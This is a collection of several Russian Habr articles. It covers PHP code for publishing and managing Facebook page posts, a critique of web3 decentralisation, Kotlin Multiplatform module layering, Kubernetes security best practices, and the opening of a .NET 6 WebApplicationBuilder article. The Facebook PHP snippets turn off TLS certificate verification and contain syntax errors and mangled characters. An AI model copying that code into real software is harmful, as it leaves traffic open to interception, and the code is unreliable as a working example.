Но это тема другой статьи. Сейчас я хочу рассмотреть пошагово, как все же добавлять новости на страницы Facebook.
#### Создаем приложение на Facebook
Идем по [ссылке](https://developers.facebook.com/apps), создаем новое приложение (в правом верхнем углу).
После создания приложения получаем:
**AppId**
**App Secret**
Не забываем внизу указать **App Domain** и **Website**, соответствующие сайту, с которого будут публиковаться новости.
#### Добавляем новость на страницу в Facebook
`require '../src/facebook.php';
define('FACEBOOK_APP_ID',"123456"); // идентификатор приложения AppId
define('FACEBOOK_SECRET',"123456"); // секретный ключ App Secret
define('PAGE_ID',"123456"); // идентификатор страницы (пользователя, группы, события)
define('UID',"123456"); // идентификатор страницы или пользователя от имени которого будет опубликована новость
$user = null;
$facebook = new Facebook(array(
'appId' => FACEBOOK_APP_ID,
'secret' => FACEBOOK_SECRET,
'cookie' => true
));
$user = $facebook->getUser(); // Получаем UID залогиненого пользователя, или 0.
/**
* - redirect_uri: URL для редиректа после удачной авторизации
* - scope: определяет доступные действия для подключения
*/
if($user == 0) {
$login_url = $facebook->getLoginUrl($params = array('scope' => 'manage_pages,offline_access,publish_stream, read_stream'));
// перебрасываем пользователя на $login_url
}
$params = array(
'name' => “My title”,
'href' => “http://www.mysite.ru”,
'description' => “Description”
);
$message = “Message”; // сообщение
$attachment = urlencode(json_encode($params)); //
$url = 'https://api.facebook.com/method/stream.publish?message='.$message.'&attachment='.$attachment.'⌖_id=’.PAGE_ID.’&uid=’.UID.’&access_token='.$facebook->getAccessToken();
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER, "");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_URL, $url);
$res = curl_exec($ch);
curl_close($ch);`
При успешном выполнении запроса Facebook вернет идентификатор записи, при неудачном строку в формате **JSON** с ошибкой. Идентификатор мы сохраним, где нам удобно для дальнейшего использования.
Примерный вид сообщения:
Параметры в переменную **attachment** передаются в формате **JSON**. Передавать можно не только текстовые данные, но и медиа (картинки, флеш, музыку). Подробнее можно посмотреть [тут](http://developers.facebook.com/docs/guides/attachments/).
#### Удаление новости
`define('POST_ID',"12345"); //идентификатор новости, который мы получили выше
define('UID',"12345"); // идентификатор пользователя, который разместил новость
$url = 'https://api.facebook.com/method/stream.remove?post_id='.POST_ID.'&uid='.UID.'&access_token='.$facebook->getAccessToken();
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER, "");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_URL, $url);
$res = curl_exec($ch);
curl_close($ch);`
В случаем успеха вернется **1** или **true**, иначе — строка в формате **JSON**.
#### Добавляем комментарии к новости
`define('POST_ID',"12345"); // идентификатор новости
$url = 'https://graph.facebook.com/'.POST_ID.'/comments';
$attachment = array(
'access_token' => $facebook->getAccessToken(),
'message' => "Hi",
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $attachment);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close ($ch);`
При успешном запросе возвращает **ID** комментария, при неверном строку в формате **JSON**. Идентификатор комментария можно использовать для его удаления:
`define('COMMENT_ID',"12345"); // идентификатор комментария
define(UID',"12345"); // идентификатор пользователя, оставившего коммент
$url = 'https://api.facebook.com/method/stream.removeComment?comment_id='.COMMENT_ID.'&uid=123&access_token='. $facebook->getAccessToken()
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER, "");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_URL, $url);
$res = curl_exec($ch);
curl_close ($ch);`
В случаем успеха вернется **1** или **true**, иначе — строка в формате **JSON**.
#### Просмотр всех комментариев к новости
`//выводим комменарии к статье
$url = 'https://graph.facebook.com/'.POST_ID.'?access_token='.$facebook->getAccessToken();
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER, "");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_URL, $url);
$result = curl_exec($ch);
curl_close($ch);`
В ответ получаем либо строку формата **JSON** с данными о комментариях, либо строку с ошибками.
#### Используемые материалы
* [developers.facebook.com](http://developers.facebook.com)
* [stackoverflow.com](http://stackoverflow.com) | https://habr.com/ru/post/129597/ | null | ru | null |
# web3 не будет: расходимся по домам
Никогда не было и вот опять
---------------------------
Я тут набрела на январскую [статью](https://moxie.org/2022/01/07/web3-first-impressions.html) [основателя](https://twitter.com/moxie) Signal app (мессенджер, конфиденциально, безопасно, open-source).
Если коротко, смысл статьи следующий: ребят, ну хватит писать кипятком от вашего веб3 — это же сказки.
Чтобы нас с вами вразумить, Moxie сделал два dApp (ну все конечно было не совсем так: нет Мокси до нас никакого дела, он это сделал по приколу).
Тезис Мокси очень прост:
* Все что децентрализовано — развивается очень медленно, если вообще хоть как-то развивается. Например имейлы все еще 30 лет как не зашифрованы.
* Технологии должны развиваться очень быстро, иначе они просто не успевают за миром и умирают.
* Следовательно медленная децентрализация умирает.
Так вот, Мокси сделал два своих dApps, и теперь объясняет нам, мол в блокчейне мы все равные ребята, а в скучном обычном интернете мы находимся в иерархии клиенты, простые смертные, и сервера, коварные захватившие власть.
Так вот, был у нас плохой веб2, где все в отношениях сервер и клиент, а теперь все равны. Но от того, что мы назовемся равными ребятами, ни телефон, ни компьютер не может стать равным серверу.
Дальше Мокси ругает eth (мол это они воду мутят, сказали что все равны, хотя на деле все те же сервера и те же клиенты).
Переходим к конкретике: вот например такой web3 стартап, где люди совместно создают какой-то арт, который потом становится NFT. И я хочу внести изменение в этот арт, и это изменение должно быть зафиксировано на блокчейне. Но я не могу это сделать напрямую с телефона или браузера компьютера (потому что ни первый ни второй не являются участниками этого арт-блокчейна), и единственное как я могу это сделать — через ноду, которая находится на каком-то сервере (ну привет централизация что ли?).
Своих серверов у нас с вами нет (ну у вас может и есть, но у меня точно нет),
поэтому все dApp работают через eth ноды. И их на рынке что-то типа две: Infura и Alchemy. Да, это вот эти ребята, которые вечно "we are hiring!" в твиттере. Теперь понятно, куда им такая орава людей. Правда к концу текста оказывается, что их все же три, но как говорится "but who cares".
Теперь Мокси повторяет (для пущей убедительности), что со всеми dApp наш телефон взаимодействует через один из этих сервисов, даже MetaMask (как так? там же лиса ... то есть вместо того чтобы сторожить мою децентрализацию она вызывает Infura?!).
В чем проблема: проблема в том, что эти API ничего не проверяют, ни состояние блокчейна, ни подлинность ответов, и результаты тоже не подписывают. То есть получается, что наша децентрализация немного централизована? (што?!)
И все же: в чем собственно проблема?
------------------------------------
Мокси сделал NFT который отображается по-разному в зависимости от того, откуда на него смотрят. То есть, в opensea одна картинка, в rarible другая картинка, в вашем кошельке — эмодзи-какашка. OpenSea удалил креативный NFT Мокси, ничего ему не сказав. После этого NFT также пропал из всех личных кошельков Мокси, потому что даже в non-custodial кошельках (ключи на стороне клиента) связь с dApp происходит через ноду на каком-то сервере.
Техническое объяснение (для умных): технически NFT — это URL-адрес, указывающий на данные без хэш-шифрования. Часто этот url указывает на виртуальный сервер. Если кто-то получит доступ к этому серверу, скажем взломае, он может делать с этим NFT все что душе угодно.
То есть претензия Мокси в том, что блокчейн нам представили как сеть равных, но при этом мой телефон равным никогда стать не сможет, и поэтому мой телефон постоянно совершает API-вызов.
То есть я такая: MetaMask покажи мне последние транзакции плз.
А MetaMask такой: etherscan, принеси ее последние транзакции!
```
GET https://api.etherscan.io/api module=account&address=0x0208376c899fdaEbA530570c008C4323803AA9E8&offset=40ℴ=desc&action=txlist&tag=latest&page=1 HTTP/2.0
```
Все упирается в нежелание людей держать свои сервера. Потому что держать сервера — это сложно, а мы хотим нажимать одну кнопку. То есть мы ругаемся на веб2 за то, что все сервера у гугла и амазона, и идем делать веб3.
А в веб3 все сервера снова у "гугла" и "амазона", то есть снова все консолидируется вокруг больших платформ, потому что ну нет у нас с вами, современных людей, паттерна держать свой сервер, мы только Hello world умеем писать, и то в блокноте.
На что еще ругается Мокси: все хвалят NFT за роялти креаторов, но роялти креаторов не прописаны в ERC-721. А значит есть вероятность, что проснутся завтра креаторы, а OpenSea такие "роялти? какие роялти? не видели никаких роялти".
История с OpenSea такая же, как с gmail: можно сделать свой NFT маркетплейс, воистину распределенный, но мой "глупый" кошелек опять будет вызывать мои NFT через OpenSea.
О чем это нам говорит: для большинства современных людей децентрализация не имеет никакого значения. То есть OpenSea мог бы продавать нам джипеги в разы дешевле без комиссии за газ, но зачем нам джипеги, мы хотим NFT. И дело не в том что джипеги централизованные а NFT нет.
А когда мы к OpenSea добавляем Coinbase или любую другую централизованную биржу, веб3 превращается в совсем ~~тыкву~~ веб2.
Дальше Мокси вбрасывает гипотезу о том, что на рынке столько крипты, что ее надо куда-то девать, чтобы крипта как концепт не умирала, поэтому в какой-то момент вдруг взлетает OpenSea (и не только он).
Выводы Мокси:
* децентрализации нет и не будет
* конфиденциальности не будет тоже
* но веб3 будет жить, потому что скучающие айтишники хотят новых приколов
* подытог: нужна архитектура, которая принимает, что отношения клиент/сервер неизбежно будут централизованными, но использует криптографию
* мои выводы можно читать в канале [миллениалы делают веб3](https://t.me/millenialminaeva) (глупые миллениалы, полезное что-нибудь уже сделали бы) | https://habr.com/ru/post/673836/ | null | ru | null |
# Как писать и переиспользовать код на «чистом» Kotlin. Заметки Android-разработчика
*Как собрать в прямом эфире 17 000 зрителей? Значит, рецепт такой. Берем 15 актуальных IT-направлений, зовем зарубежных спикеров, дарим подарки за активность в чате, и вуа-ля — крупнейший в Украине и восточной Европе онлайн-ивент готов. Именно так [прошла](https://www.nixsolutions.com/ru/blog/nix-life/35-chasov-efira-38-spikerov-i-24-piccy-kak-proshla-nixmulticonf-4/) ежегодная мультитул конференция [**NIXMultiConf**](https://nixmulticonf.com).
Под слоганом «айтишникам — от айтишников» эксперты из Украины, Беларуси, России, Великобритании и Германии поделились опытом и рассказали о новинках индустрии. Полезно было всем — дизайнерам, девелоперам, тестировщикам и менеджерам. И теперь делимся инсайтами с вами. По мотивам докладов экспертов [NIX](https://www.nixsolutions.com/ru/) продолжаем серию материалов на самые актуальные темы.
В новой статье **Вадим Савченко**, Android developer в NIX, рассказывает о Kotlin и возможностях использования кода для нескольких целевых платформ.
Хочешь знать больше — смотри конференцию на [YouTube-канале](https://www.youtube.com/channel/UCMvQYPsoUwiwy9N_m3i6T_w)*
Привет! Я — Вадим Савченко, Android developer в NIX. Коллеги наверняка знают: переиспользовать код — обычная практика для любого программиста. Этот подход ускоряет процесс разработки и уменьшает вероятность ошибок. Когда видишь лаконичный код, лучше фокусируешься на бизнес-логике продукта. Именно эту цель мы с командой преследовали, когда впервые взялись за Kotlin Multiplatform Mobile. На конференции [NIXMulticonf](https://www.youtube.com/watch?v=qE87-jf3kRs&t=19071s) я презентовал результат нашей работы. А в этой статье подробнее расскажу, как использовать код для нескольких целевых платформ и почему знание Kotlin — ценный навык.
Как часто водится на аутсорсе, заказчик хочет готовое решение быстро, качественно и от одного разработчика. Kotlin Multiplatform Mobile (далее — КММ) экономит время и усилия и помогает достигнуть желаемого результата. Команда NIX давно успешно использует Kotlin в коммерческих проектах. На этот раз мы решили пойти дальше и узнать, какие возможности дает КМM.
Суть подхода заложена в слогане на официальном [сайте](https://kotlinlang.org/lp/mobile/) КММ: Save time and effort by writing the business logic for your iOS and Android apps just once. Мы можем создавать модули с общим кодом и подключать их к разным нативным приложениям на Android и IOS.
Однако «чистый» Kotlin не так прост, как кажется. Нетрудно отказаться от Android импортов в слое бизнес-логики, но гораздо сложнее свыкнуться с мыслью, что Java импортов тоже не должно быть. Мы посмотрели на KMM в разрезе Clean Architecture. Здесь есть явное отделение слоя бизнес-логики от остальной части приложения (слой Domain). Разбиение на слои мы сделали с помощью модулей. Так проще проконтролировать, чтобы лишний импорт и платформозависимый код не попали, куда не следует. Получили три модуля — Presentation, Domain, Data:
* Presentation — это модуль с презентационной логикой и вьюшками;
* Domain — бизнес-логика;
* Data — репозитории и датасорсы.
Domain и есть наш KMM модуль, написанный на «чистом» Kotlin. Собрать его без проблем можно под IOS и Android. Presentation и Data — платформозависимые модули и не могут быть переиспользованы… Но это не точно. Мы решили выяснить, могут ли Data и Presentation стать KMM модулями на основе Pure Kotlin.
Сначала из Presentation выделили еще один модуль UI и закинули в него Views, Activities, Fragments. В Presentation же оставили MVP контракты и реализации презенторов. Зачастую в них можно обойтись без Android импортов. Затем из Data выделили Infrastructure. Здесь у нас DataSources и реализации Repositories, требующие Java или Android импортов. В Data остаются модельки, которыми оперирует приложение, и контракты Repositories. В итоге наши догадки оправдались: Data и Presentation тоже готовы к переиспользованию.
KMM позволяет сделать мультиплатформенными Infrastructure и View, но с ними дела обстоят сложнее. Создадим еще один простой KMM модуль для логирования. После этого вместо привычного java -> main у вас появится commonMain. androidMain и iosMain. Как же их использовать?
```
//Common
expect class MultiLogger() {
fun logError()
}
//Android
actual class MultiLogger {
actual fun logError() {
Log.e("ERROR", "ERROR ANDROID")
}
}
//IOS
actual class MultiLogger {
actual fun logError() {
println("ERROR IOS")
}
}
```
В commonMain лежит «чистый» Kotlin-код. В случае с Domain весь код будет лежать здесь, а androidMain и iosMain нам вообще не понадобятся. Так как мы хотим, чтобы для Аndroid логирование происходило через стандартный Log, а не `println()`, нам нужны androidMain и iosMain. Для реализации в commonMain создали класс MultiLogger и обозначили его ключевым словом еxpect. В androidMain объявили класс MultiLogger и реализовали лог с помощью привычного нам Log. В iosMain используем println и надеемся, что он нас устроит :).
По аналогии с логером то же самое можно сделать с UI модулем и Infrastructure. Задача такого разбиения — отделить то, что может быть собрано под Android и IOS и в будущем легко реализовано на каждой из этих платформ. Если не хотите вручную писать View отдельно для двух платформ, воспользуйтесь готовыми решениями. Например, moko-widgets. Так же и с Data слоем, есть библиотека moko-permissions, которую можно взять для ваших репозиториев и не прибегать к expect и actual.
Оказалось, не всё так гладко
----------------------------
Когда мы впервые столкнулись с Kotlin, нас ждало несколько сюрпризов. Расскажу вам о них, чтобы вы были ко всему готовы.
Из минусов — мультиплатформенные проекты требуют новейшей версии системы сборки Gradle. Переход к старым проектам затрудняется. Если вы уже переключились на мультиплатформу, но через какое-то время вам надо вернуться в прошлый коммерческий проект, сделать это будет сложно. Gradle вечно что-то кеширует, приходится постоянно чистить кеш, но чаще это не помогает. Ок, переустанавливаем. Но на все это уходит слишком много времени.
Кроме того, нам пришлось вручную формировать пакеты и структуры папок под три Source-набора: Android main, iOS main и Common main. Также было неудобно самим создавать build.gradle.kts и прописывать в них пути к исходникам.
Также были проблемы с общением между модулями. Студия подсвечивала все импорты и сущности из соседних модулей красным и не видела их, хотя все успешно собиралось и работало.
Если до этого момента вы успешно откладывали знакомство с Coroutines, здесь уже без них никак. С помощью Корутинов на Kotlin пишут асинхронный, неблокирующий код. У нас с ними все было ОК. Но коллеги рассказывали, что иногда Coroutines могут зависнуть в iOS по непонятным причинам, и это сложно предотвратить и контролировать. Насколько я знаю из новейших источников, этот момент пофиксили. Но есть другая проблема — iOS код может выдавать ошибки, которые превращаются в базовые iOS-ные.
Сейчас почти все проблемы ушли. Вы можете использовать последнюю версию android studio, и все будет прекрасно работать. Также Kotlin Multiplatform Mobile Plugin существенно упрощает создание новых мультиплатформенных проектов и поддержку текущих и даже позволяет дебажить код, собранный под IOS.
Подводя итоги, хотелось бы сказать, что все Android-разработчики давно привыкли использовать Kotlin. Круто, что совсем немного изменив нашу структуру модулей, мы можем получить код, который будет переиспользован. Так что давайте пробовать, заводить тикеты о проблемах, с которыми сталкиваемся, поднимать комьюнити и учиться на ошибках друг друга. | https://habr.com/ru/post/541722/ | null | ru | null |
# 9 лучших практик по обеспечению безопасности в Kubernetes
***Прим. перев.**: Это уже [не первая статья](https://habr.com/ru/company/flant/blog/417905/) с общими рекомендациями по безопасности в Kubernetes, что мы переводим в своём блоге. Однако её актуальность — по меньшей мере, как напоминание о простых и важных вещах, на которые не стоит закрывать глаза из-за нехватки времени, — только подтверждается недавними событиями, упоминаемыми автором в начале материала. К слову, автором является Connor Gilbert — менеджер продуктов компании StackRox, предлагающей готовую платформу для обеспечения безопасности приложений, разворачиваемых в рамках Kubernetes-кластеров. Итак, вот что он советует читателям блога CNCF…
**NB**: Чтобы сделать статью более информативной, для некоторых из упоминаемых автором терминов/методов мы добавили ссылки на соответствующую документацию.*
В прошлом месяце в Kubernetes, самой популярной в мире системе оркестровки контейнеров, [обнаружили](https://www.stackrox.com/post/2018/12/kubernetes-first-major-security-hole-discovered/) первую крупную уязвимость в безопасности, что ударило по экосистеме проекта. Уязвимость [CVE-2018-1002105](https://nvd.nist.gov/vuln/detail/CVE-2018-1002105) даёт возможность злоумышленникам скомпрометировать кластеры через API-сервер Kubernetes, что позволяет исполнять вредоносный код для установки malware и т.п.
Ранее в том же году некорректная конфигурация панели управления Kubernetes привела к тому, что на ресурсах Tesla [был установлен](https://arstechnica.com/information-technology/2018/02/tesla-cloud-resources-are-hacked-to-run-cryptocurrency-mining-malware/) софт для майнинга криптовалют. Тогда злоумышленники воспользовались тем, что одна из панелей Kubernetes не была защищена паролем, что позволило им получить доступ к одному из pod'ов с учётной записью для доступа к более масштабной инфраструктуре Tesla в AWS.
Организациям, что форсируют процесс внедрения контейнеров и их оркестровки, необходимо предпринимать и обязательные шаги по защите столь критичной части своей инфраструктуры. Ниже представлены девять лучших практик по безопасности в Kubernetes, созданных на основе данных от клиентов: следуйте им, чтобы защитить свою инфраструктуру лучше.
1. Обновитесь до последней версии
---------------------------------
В каждом квартальном релизе [Kubernetes] появляются не только исправления багов, но и новые возможности в области безопасности: чтобы воспользоваться ими, рекомендуем работать с последней стабильной версией.
Использование последнего релиза с последними же патчами будет особенно актуальным в свете недавнего обнаружения CVE-2018-1002105. Обновления и поддержка могут оказаться сложнее, чем предлагаемые в релизах новые возможности, поэтому спланируйте обновления хотя бы раз в квартал.
Значительно упростить обновления может использование провайдеров управляемых Kubernetes-решений.
2. Включите управление доступом на основе ролей (RBAC)
------------------------------------------------------
Используйте [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) (Role-Based Access Control) для контроля над тем, кто может иметь доступ к Kubernetes API и какими правами обладать. Обычно RBAC включён по умолчанию в Kubernetes версии 1.6 и выше (или позже в случае некоторых провайдеров), но если с тех вы обновлялись и не меняли конфигурацию, стоит перепроверить свои настройки. Из-за механизма, по которому совмещается работа контроллеров авторизации в Kubernetes *(об общей последовательности операций читайте в статье «[Что происходит в Kubernetes при запуске kubectl run? Часть 1](https://habr.com/ru/company/flant/blog/342658/)» — **прим. перев.**)*, необходимо иметь включёнными и RBAC, и устаревший ABAC (Attribute-Based Access Control).
Однако мало включить RBAC — его ещё необходимо эффективно использовать. В общем случае следует избегать прав на весь кластер *(cluster-wide)*, отдавая предпочтение правам в определённых пространствах имён. Избегайте выдачи кому-либо привилегий администратора кластера даже для отладки — гораздо безопаснее выделять права только по необходимости и от случая к случаю.
Посмотреть роли кластера и просто роли можно командами `kubectl get clusterrolebinding` или `kubectl get rolebinding --all-namespaces`. А так можно быстро проверить, кому выдана роль `cluster-admin` (в данном примере она только у группы `masters`):
```
$ kubectl describe clusterrolebinding cluster-admin
Name: cluster-admin
Labels: kubernetes.io/boostrapping=rbac-defaults
Annotations: rbac.authorization.kubernetes.io/autoupdate=true
Role:
Kind: ClusterRole
Name: cluster-admin
Subjects:
Kind Name
---- ----
Group system:masters
Namespace
---------
```
Если приложению требуется доступ к Kubernetes API, создайте отдельные service accounts *(подробнее о них читайте в [этом материале](https://habr.com/ru/company/flant/blog/422801/) — **прим. перев.**)* и выдавайте им минимальный набор прав, требуемых для каждого случая использования. Такой подход гораздо лучше выдачи слишком больших прав аккаунту по умолчанию в пространстве имён.
Большинству же приложений и вовсе не нужен доступ к API: для них [можно выставить](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) `automountServiceAccountToken` в `false`.
3. Используйте пространства имён для установки границ безопасности
------------------------------------------------------------------
Создание отдельных пространств имён важно как первый уровень изоляции компонентов. Намного проще регулировать настройки безопасности — например, сетевые политики, — когда разные виды рабочих нагрузок развёрнуты в отдельных пространствах имён.
А ваша команда эффективно использует пространства имён? Проверьте их список на наличие нестандартных (не создаваемых по умолчанию):
```
$ kubectl get ns
NAME STATUS AGE
default Active 16m
kube-public Active 16m
kube-system Active 16m
```
4. Отделяйте чувствительные рабочие нагрузки
--------------------------------------------
Хорошая практика для ограничения потенциальных последствий компрометации — запуск рабочих нагрузок с конфиденциальными данными на выделенном множестве машин. Такой подход снижает риск того, что к приложению с конфиденциальными данными будет обращаться менее безопасное приложение, работающее в той же исполняемой среде контейнеров или на том же хосте. Например, kubelet скомпрометированного узла обычно имеет доступ к содержимому секретов только в том случае, если они примонтированы к pod'ам, выполнение которых планируется на том же узле. Если важные секреты можно найти на множестве узлов кластера, у злоумышленника будет больше возможностей заполучить их.
Разделение можно осуществить с помощью пулов узлов — *node pools* (в облаке или для on-premises), — а также контролирующих механизмов Kubernetes, таких как пространства имён, [taints, tolerations](https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/) и другие.
5. Защитите доступ к метаданным облачных сервисов
-------------------------------------------------
Чувствительные метаданные — например, административные учётные данные kubelet — могут быть украдены или использованы со злым умыслом для эскалации привилегий в кластере. Например, [недавняя находка](https://hackerone.com/reports/341876) в рамках bug bounty от Shopify показала в деталях, как пользователь мог превысить полномочия, получив метаданные от облачного провайдера с помощью специально сформированных данных для одного из микросервисов.
В GKE функция скрытия метаданных — [metadata concealment](https://cloud.google.com/kubernetes-engine/docs/how-to/protecting-cluster-metadata#concealment) — изменяет механизм развёртывания кластера таким образом, что позволяет избежать подобной проблемы, и мы рекомендуем воспользоваться ей, пока не реализовано постоянное решение.
Аналогичные контрмеры могут потребоваться и в других окружениях.
6. Создайте и определите сетевые политики кластера
--------------------------------------------------
Сетевые политики — [Network Policies](https://kubernetes.io/docs/concepts/services-networking/network-policies/) — позволяют контролировать доступ к сети в контейнеризированные приложения и из них. Чтобы воспользоваться ими, необходимо иметь сетевого провайдера с поддержкой такого ресурса; в случае провайдеров управляемых Kubernetes-решений вроде Google Kubernetes Engine (GKE) поддержку потребуется включить. (Включение сетевых политик для существующих кластеров в GKE потребует короткого rolling-обновления.)
Как только всё готово, начните с простых сетевых политик по умолчанию — скажем, блокирования (по умолчанию) трафика из других пространств имён.
В случае использования Google Container Engine так можно проверить, включена ли поддержка политик в работающих кластерах:
```
$ gcloud container clusters list \
--format='table[box] (name,addonsConfig.networkPolicyConfig)'
```
7. Задайте Pod Security Policy для кластера
-------------------------------------------
Политика безопасности pod'ов — [Pod Security Policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) — устанавливает значения по умолчанию, используемые для запуска рабочих нагрузок в кластере. Подумайте над определением политики и включением [admission controller'а](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/) Pod Security Policy: инструкции по этим шагам варьируются в зависимости от облачного провайдера или используемой модели деплоя.
Для начала можно потребовать [отключения](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#capabilities) в контейнерах `NET_RAW` [capability](https://linux.die.net/man/7/capabilities), чтобы защититься от некоторых видов spoofing-атак.
8. Поработайте над безопасностью узлов
--------------------------------------
Для улучшения безопасности узлов можно выполнить следующие шаги:
1. **Убедитесь, что хост безопасно и корректно настроен**. Один из способов — [CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks/); у многих продуктов есть autochecker, который автоматически проверяет систему на соответствие этим стандартам.
2. **Контролируйте сетевую доступность важных портов**. Убедитесь, что сеть блокирует доступ к портам, используемым kubelet, включая 10250 и 10255. Подумайте над ограничением доступа к API-серверу Kubernetes — за исключением доверенных сетей. В кластерах, которые не требовали аутентификации и авторизации в kubelet API, злоумышленники использовали доступ к таким портам для запуска майнеров криптовалют.
3. **Минимизируйте административный доступ к узлам Kubernetes**. Доступ к узлам кластера в принципе должен быть ограничен: для отладки и решения других задач, как правило, можно обойтись и без прямого доступа к узлу.
9. Включите Audit Logging
-------------------------
Убедитесь, что [audit-логи](https://kubernetes.io/docs/tasks/debug-application-cluster/audit/#audit-policy) включены и что вы отслеживаете появление необычных или нежелательных вызовов API в них, особенно в контексте любых сбоев авторизации — у таких записей будет сообщение со статусом «Forbidden». Сбои авторизации могут означать, что злоумышленник пытается воспользоваться полученными учётными данными.
Провайдеры управляемых решений (включая GKE) предоставляют доступ к этим данным в своих интерфейсах и могут помочь вам в настройке уведомлений в случае сбоев авторизации.
Заглядывая в будущее
--------------------
Следуйте этим рекомендациям, чтобы Kubernetes-кластер был более безопасным. Помните, что даже после того, кластер настроен безопасно, необходимо обеспечивать безопасность и в других аспектах конфигурации и эксплуатации контейнеров. Для улучшения безопасности технологического стека изучите инструменты, предоставляющие центральную систему для управления развёрнутыми контейнерами, постоянного мониторинга и защиты контейнеров и облачных (cloud native) приложений.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «[11 способов (не) стать жертвой взлома в Kubernetes](https://habr.com/ru/company/flant/blog/417905/)»;
* «[Понимаем RBAC в Kubernetes](https://habr.com/ru/company/flant/blog/422801/)»;
* «[OPA и SPIFFE — два новых проекта в CNCF для безопасности облачных приложений](https://habr.com/ru/company/flant/blog/353808/)»;
* «[Vulnerable Docker VM — виртуалка-головоломка по Docker и pentesting](https://habr.com/ru/company/flant/blog/337154/) »;
* «[7 лучших практик по эксплуатации контейнеров по версии Google](https://habr.com/ru/company/flant/blog/425085/)». | https://habr.com/ru/post/436300/ | null | ru | null |
# Исследуем .NET 6. Часть 2. WebApplicationBuilder
*В этой серии статей я собираюсь взглянуть на некоторые из новых функций, которые появились в .NET 6. Про .NET 6 уже написано много контента, в том числе множество постов непосредственно от команд .NET и ASP.NET. Я же собираюсь рассмотреть код некоторых из этих новых функций.*
Часть 1. [ConfigurationManager](https://habr.com/ru/post/594423/)
Сравнение WebApplicationBuilder с универсальным Host
----------------------------------------------------
В .NET появился новый способ «по умолчанию» для создания приложений, используя `WebApplication.CreateBuilder()`. В этом посте сравним этот подход с предыдущими подходами, обсудим, почему было сделано это изменение, и посмотрим, к чему это привело. В следующем посте рассмотрим код `WebApplication` и `WebApplicationBuilder`, чтобы понять, как они работают.
### Создание приложений ASP.NET Core: урок истории
Прежде чем мы рассмотрим .NET 6, я думаю, имеет смысл взглянуть на то, как процесс «начальной загрузки» приложений ASP.NET Core развивался за последние несколько лет, поскольку первоначальный дизайн оказал огромное влияние на то, где мы находимся сегодня. Это станет ещё более очевидным, когда мы рассмотрим код `WebApplicationBuilder` в следующем посте!
Даже если мы проигнорируем .NET Core 1.x (который на данный момент совсем не поддерживается), у нас есть три разных парадигмы для настройки приложения ASP.NET Core:
* `WebHost.CreateDefaultBuilder()`: «оригинальный» подход к настройке приложения ASP.NET Core, начиная с ASP.NET Core 2.x.
* `Host.CreateDefaultBuilder()`: построение ASP.NET Core поверх универсального Host, поддерживающее другие рабочие нагрузки, такие как Worker Service. Подход по умолчанию в .NET Core 3.x и .NET 5.
* `WebApplication.CreateBuilder()`: новинка .NET 6.
Чтобы лучше почувствовать различия, я воспроизвёл типичный «стартовый» код в следующих разделах, который должен сделать смысл изменений в .NET 6 более очевидным.
#### ASP.NET Core 2.x: WebHost.CreateDefaultBuilder()
В первой версии ASP.NET Core 1.x (если я правильно помню) не было концепции «хоста по умолчанию». Одна из идеологий ASP.NET Core заключалась в том, что всё должно быть «по запросу», т.е., если вам не нужно что-то использовать, вы не должны платить за наличие этого.
На практике это означало, что блок стартового кода содержал много шаблонного кода и множество NuGet пакетов. Чтобы избавить читателей от шока при взгляде на тонну кода только для того, чтобы приложение стартовало, в ASP.NET Core 2.x введён `WebHost.CreateDefaultBuilder()`. Он настраивает для вас целую кучу значений по умолчанию, и создаёт `IWebHostBuilder`, который строит `IWebHost`.
[*Вот здесь я рассматривал код WebHost.CreateDefaultBuilder() ещё в 2017 и сравнивал его с ASP.NET Core 1.x*](https://andrewlock.net/exploring-program-and-startup-in-asp-net-core-2-preview1-2/), *если вы вдруг захотите освежить это в памяти.*
С самого начала ASP.NET Core отделил начальную загрузку «хоста» от начальной загрузки «приложения». Исторически это проявляется в разделении кода запуска между двумя файлами, традиционно называемыми `Program.cs` и `Startup.cs`.
Разница в назначении конфигурации в классах Program и Startup. Program связан с конфигурацией инфраструктуры, которая обычно остается стабильной на протяжении всего жизненного цикла проекта. И напротив, вы часто изменяете Startup, чтобы добавить новые функции и обновить поведение приложения. Взято из моей книги "ASP.NET Core в Действии" (https://dmkpress.com/catalog/computer/web/978-5-97060-550-9/)В ASP.NET Core 2.1 `Program.cs` вызывает `WebHost.CreateDefaultBuilder()`, который устанавливает конфигурацию вашего приложения (например, загрузку из `appsettings.json`), ведение журнала и настраивает интеграцию Kestrel и/или IIS.
```
public class Program
{
public static void Main(string[] args)
{
BuildWebHost(args).Run();
}
public static IWebHost BuildWebHost(string[] args) =>
WebHost.CreateDefaultBuilder(args)
